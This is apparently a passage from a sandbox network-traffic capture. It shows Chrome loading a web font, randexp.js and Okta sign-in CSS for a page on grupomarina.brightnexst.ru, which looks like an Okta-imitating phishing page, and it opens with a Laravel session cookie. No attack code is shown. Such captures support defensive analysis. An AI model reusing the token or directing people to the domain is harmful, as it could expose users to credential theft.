laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:14 UTC	1150	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:13 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Last-Modified: Mon, 17 Mar 2025 20:55:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXc5cmoaC5QPerGqbxsdlc9UkNhfCEbctuXd6MforkOSovR1EpTPhEbR0icl4F96MbmTlc4Dx3KRSLapgZSLfNLl7S0uqtshGTLgmaP%2BmBx8VkH9EdvG4q7%2FPTJX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=4392&min_rtt=3375&rtt_var=1992&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2308&delivery_rate=858074&cwnd=251&unsent_bytes=0&cid=15373c87b16a0fbc&ts=122&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 921f63d5caeb499b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2080&min_rtt=2078&rtt_var=784&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1969&delivery_rate=1391138&cwnd=72&unsent_bytes=0&cid=39cf943f99ee96db&ts=539&x=0"
2025-03-17 20:55:14 UTC	219	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tl
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 c5 82 02 23 10 a3 88 04 59 34 6c 91 7d 33 90 40 20 90 90 84 97 bc e4 9b Data Ascii: h.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q#Y4l}3@
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b b1 c8 4d b6 60 b4 14 3d 9f 2b bc 18 ac 1e 03 c7 fe 9d 2e 57 8f e3 fc 1f Data Ascii: KrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRKM`=+.W
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 ce 6a 61 fb 8f b7 36 b7 a4 2d 3b 6a b0 e7 2e eb bf 75 dc cb 90 d6 f3 01 Data Ascii: f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-ja6-;j.u
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 b9 7a 5e 2a 5f 00 bc 8d d8 d4 d9 ef 12 e4 22 3c 99 86 34 01 bd fa 3d 24 Data Ascii: %:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y}_f3.mQcoAG_HY%#Tbc^];;e(3'z^_"<4=$
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a 47 1f d1 67 54 42 2b 69 23 6d a3 62 da a1 d2 e9 73 15 54 d9 8a d4 19 ea Data Ascii: q-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZGgTB+i#mbsT
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e Data Ascii: Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 Data Ascii: hH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+_KND#{DCK5%
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d c7 75 d0 24 2f 0c 6c f4 66 a1 58 c2 43 90 e8 8b 78 e3 c8 c7 fc d0 5d ed Data Ascii: F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmmu$/lfXCx]
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa 0e 8e a9 ea 7d 7d ff 3a 26 44 1f 07 56 ee 98 30 dd c1 d0 a1 7e 99 e2 26 Data Ascii: L1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo}}:&DV0~&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49743	140.82.121.4	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	704	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:14 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Mon, 17 Mar 2025 20:55:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250317%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250317T205513Z&X-Amz-Expires=300&X-Amz-Signature=e616e7388ad102e9cb0d3ae02f97cd7c71b53bb553c2889c097375ffd2fede86&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-17 20:55:14 UTC	3371	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49744	13.33.187.68	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	650	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:14 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Tue, 11 Mar 2025 10:14:43 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Wed, 11 Mar 2026 10:14:43 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 46b6cb3d5daab7defe28d3658c3a54fe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: CnJ7Ac0ZkJo-cPu4YKLr0SULzw_3-YU26fL7fX3rU4slZzSaxg1mog== Age: 556830
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 6e 74 61 69 6e 65 72 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2d 6e 6f 73 65 61 72 63 68 2e 63 6c 6f 73 65 64 20 2e 63 68 7a 6e 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 6c 6f 73 65 64 20 2e 63 68 7a 6e 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 7b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2d 6e 6f 73 65 61 72 63 68 2e 63 6c 6f 73 65 64 20 2e 63 68 7a 6e 2d 64 72 6f Data Ascii: ntainer.chzn-container-single-nosearch.closed .chzn-drop .chzn-search,#okta-sign-in .chzn-container.chzn-container-single.closed .chzn-drop .chzn-search{left:0;position:relative}#okta-sign-in .chzn-container.chzn-container-single-nosearch.closed .chzn-dro
